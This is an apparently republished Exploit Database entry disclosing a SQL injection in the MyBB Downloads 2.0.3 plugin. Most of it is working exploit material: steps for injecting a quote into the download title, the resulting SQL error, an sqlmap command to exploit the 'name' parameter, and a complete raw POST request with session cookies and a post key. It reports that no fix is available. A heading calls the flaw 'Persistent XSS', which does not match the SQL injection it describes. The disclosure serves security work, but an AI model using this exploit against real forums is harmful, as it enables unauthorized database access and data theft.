MyBB Downloads 2.0.3 – SQL Injection

• Exploit Database
• 16 阅读

• 作者： Lucian Ioan Nitescu
  日期： 2018-10-30
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/45747/

• # Exploit Title: MyBB Downloads 2.0.3 - SQL Injection
  # Date: 28-10-2018
  # Exploit Author: Lucian Ioan Nitescu
  # Contact: https://twitter.com/LucianNitescu
  # Webiste: https://nitesculucian.github.io
  # Vendor Homepage: https://github.com/vintagedaddyo/MyBB_Plugin-Downloads
  # Software Link: https://github.com/vintagedaddyo/MyBB_Plugin-Downloads
  # Version: 2.0.3
  # Tested on: Ubuntu 18.04
  
  1. Description:
  
  It is a plugin which adds a page to download files. If enabled, regular members can add new downloads to the page after admin approval.
  
  2. Proof of Concept: 
  
  Persistent XSS
  - Go to downloads.php page
  - Create a New Download
  - Add the following to the title: a"
  - Now on submit, the user will be prompted to an SQL Injection specific error.
  
  ```
  MyBB has experienced an internal SQL error and cannot continue.
  
  SQL Error:
  	1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"a""' at line 1
  Query:
  	SELECT * FROM mybb_downloads WHERE name="a""
  ```
  
  - THis can be exploited with: sqlmap -r request_file -p name --threads 5
  
  3. Request File example:
  
  POST /downloads.php?newdownload=1 HTTP/1.1
  Host: localhost:8081
  User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0
  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  Accept-Language: en-US,en;q=0.5
  Accept-Encoding: gzip, deflate
  Referer: http://localhost:8081/downloads.php?newdownload=1
  Content-Type: multipart/form-data; boundary=---------------------------171894060312075061251712806160
  Content-Length: 1029
  Cookie: mybb[lastvisit]=1540744980; mybb[lastactive]=1540745020; sid=677a58d33fe23e7f2ea3841c79496fcd; loginattempts=1; mybbuser=3_waeMfSMiIRrTpPqW2uy8ZF8AMx8pyRtMCUJ6Gx0yoGRyLBsBow
  Connection: close
  Upgrade-Insecure-Requests: 1
  Cache-Control: max-age=0
  
  -----------------------------171894060312075061251712806160
  Content-Disposition: form-data; name="my_post_key"
  
  6cb47e578ed16aa5272c55b0cb8745b4
  -----------------------------171894060312075061251712806160
  Content-Disposition: form-data; name="name"
  
  a"
  -----------------------------171894060312075061251712806160
  Content-Disposition: form-data; name="shortdesc"
  
  test
  -----------------------------171894060312075061251712806160
  Content-Disposition: form-data; name="description"
  
  test
  -----------------------------171894060312075061251712806160
  Content-Disposition: form-data; name="image"
  
  
  -----------------------------171894060312075061251712806160
  Content-Disposition: form-data; name="url"
  
  1
  -----------------------------171894060312075061251712806160
  Content-Disposition: form-data; name="numimages"
  
  4
  -----------------------------171894060312075061251712806160
  Content-Disposition: form-data; name="submit"
  
  Publish download
  -----------------------------171894060312075061251712806160--
  
  3. Solution:
  
  There is no public available solution.